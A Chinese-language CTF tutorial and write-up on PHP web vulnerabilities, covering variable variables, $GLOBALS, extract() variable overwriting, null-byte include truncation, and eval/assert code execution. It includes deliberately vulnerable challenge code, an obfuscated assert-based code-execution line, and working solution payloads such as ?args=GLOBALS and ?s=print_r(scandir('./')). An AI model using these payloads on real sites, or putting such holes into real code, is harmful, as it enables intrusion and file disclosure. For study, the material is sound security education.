一个可变变量 “$$” 获取了一个普通变量的值后,用这个值作为这个可变变量的变量名。一个美元符号表示提取变量中的值,而 2 个连续的美元符号表示用某个变量的内容作为变量名,再来访问该变量。例如以下代码:
<?php $a = "b"; $b = "c"; $c = "a"; echo $a; //输出 b echo $$a; //输出 c echo $$$a; //输出 a ?>
PHP 的 $ GLOBALS 是一个超全局变量,它引用全局作用域中可用的全部变量。变量时一个包含了全部变量的全局组合数组,变量的名字就是数组的键。有时候当 flag 隐藏在某个变量中时,可以考虑从 GLOBALS 中得到。
extract() 函数从数组中将变量导入到当前的符号表。使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素将在当前符号表中创建对应的一个变量。extract() 函数也可以将 GET 传入的数据进行转换,例如:
<?php $a = false; extract($_GET); if($flag) { echo "flag{}" } ?>
此时变量 a 已经被定义了,但是在 extract() 函数转换 GET 方法传入的数据时,传入的 a 在转换时就会把原来的变量覆盖掉。
PHP 是基于 C 语言实现的,因此 PHP 在底层使用了一些 C 语言的字符串处理函数。在遇到 NULL(\x00) 字符时,处理函数会把该字符当做结束标记,这就可以在遍历结尾处去除不想要的字符。例如这段代码包含的文件名后面会被强行加上字符 'text.html',使得我们不能够直接包含文件。但是我们可以在文件名后面加个 % 00 字符来截断,这样后面的字符就会被忽略了。
$file = $_GET['file']; include $flie.'text.html';
不过这个漏洞在新版本的 PHP 中已经被修好了,很少会用到。
eval() 函数可以把把字符串当成 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。语法如下:
eval(phpcode); //phpcode 参数必需,规定要计算的 PHP 代码。
与之功能相似的是 assert 断言,assert 是个宏,不过为了好理解可以先把它当做和 eval() 函数一样的东西,即可以执行括号内的代码。
打开网页,可以直接看到源码。
flag In the variable ! <?php error_reporting(0); // 关闭php错误显示 include "flag1.php"; // 引入 flag1.php 文件代码 highlight_file(__file__); if(isset($_GET['args'])){ // 通过get方式传递 args变量才能执行if里面的代码 $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ // 匹配任意大小写字母和 0 到 9 以及下划线组成 die("args error!"); } eval("var_dump($$args);"); //var_dump() 函数用于输出变量的相关信息 } ?>
因为这里有个 preg_match() 函数,它会通过正则表达式匹配字符串,因此不能使用其他的漏洞。根据提示 flag 藏在一个变量之中,观察到代码中有“$$”的可变变量用法。
也就是说,此时不需要去猜测 flag 藏在那个变量中,因为知道了变量名,有了“$$”也不能直接访问。现在需要知道保存 flag 的变量是哪个变量的值,因为 var_dump() 函数可以输出变量,如果变量是个数组也可以,例如:
<?php $args = array(1, 2, 3); var_dump($args); ?>
则数组 args 中的内容都可以被输出来,因此该函数也能把 “$GLOBALS” 中的内容都输出来。因此我们只需要把 GLOBALS 传递过去就行,构造 payload:
?args=GLOBALS
源码如下,flag变量已经被定义了,如果用GET传入的变量中存在一个名叫shiyan的字符串,则将flag变量的值赋给content变量,如果变量shiyan和变量content的值相同就输出flag的值
<?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?>
此时 flag 变量被赋值成什么值我们不得而知,所以现在的想法是把 flag 变量覆盖掉。由于 extract() 函数可以将所有 GET 方法传入的数据全部换成变量,因此可以在传入 shiyan 变量时也传入一个 flag 变量。构造 payload 提交到指定网页,提交获得 flag。
?shiyan=&flag=
源码如下,注意到代码中使用了 extract() 获取了系列参数,考虑使用变量覆盖的手法。根据对源码的分析,变量 f 的值来自于变量 fn 表示的文件,当变量 ac 等于变量 f 的值时输出 flag。注意这里的判断使用的是 “===”,而且变量 ac 不能为空。
<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>
根据提示 “txt????” 我们猜测可能还有某个 txt 文件能为我们所用,根据经验这个文件可能是 flag.txt。访问 flag.txt 文件,得到这个文件的内容是 “flags”。
接下来就可以解题了,我们可以覆盖变量 fn,fn 的值为 flag.txt,这样 f 变量的值经过 file_get_contents() 文件提取函数之后的值应该为 “flags”。接着我们让 ac 的值也为 “flags”,这样就同时满足 ac 不为空且等于变量 f 了。综上所述,构造 payload:
?ac=flags&fn=flag.txt
题目的源码如下,观察到代码将提取一个 REQUEST 变量,这个变量时 HTTP Request 变量,默认情况下包含了 GET、POST 和 COOKIE 的数组。
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval("var_dump($a);"); //var_dump() 函数可以输出变量的类型和值 show_source(__FILE__); ?>
除了利用 eval() 函数和使用 PHP 伪协议,还可以直接把 flag.php 导入到 hello 变量中直接显示出来。
hello=file("flag.php")
首先先认识下下 explode() 函数,函数可以使用一个字符串分割另一个字符串,并返回由字符串组成的数组。函数语法和参数如下:
参数 | 说明 |
---|---|
separator | 必需,规定在哪里分割字符串 |
string | 必需,要分割的字符串 |
limit | 可选,规定所返回的数组元素的数目 |
例如以下代码:
$str = 'one,two,three,four'; print_r(explode(',',$str));
输出的结果为:
Array ( [0] => one [1] => two [2] => three [3] => four )
源码如下,观察到有一个 explode() 函数,也就是说字符串 poc 将会被切割为一个数组。
<?php $poc = "a#s#s#e#r#t"; $poc_1 = explode("#",$poc); $poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
此处稍微有点不好理解,变量 poc_2 是由 5 个字符拼接成的字符串 “assert”。此时注意看最后一行的写法,“$” 符号提取 poc_2 中的值,后面接上代码等同于使用了 assert 函数。
assert($_GET['s'])
注意这里括号内的代码是用 GET 方法传入的变量 s 中的内容,也就是说我们可以将一段代码赋给 s 来执行。我们怀疑 flag 藏在网页目录下的一个文件中,因此可以使用 scandir() 函数来获取目录下的所有文件,然后带上输出函数看看。
?s=print_r(scandir('./'))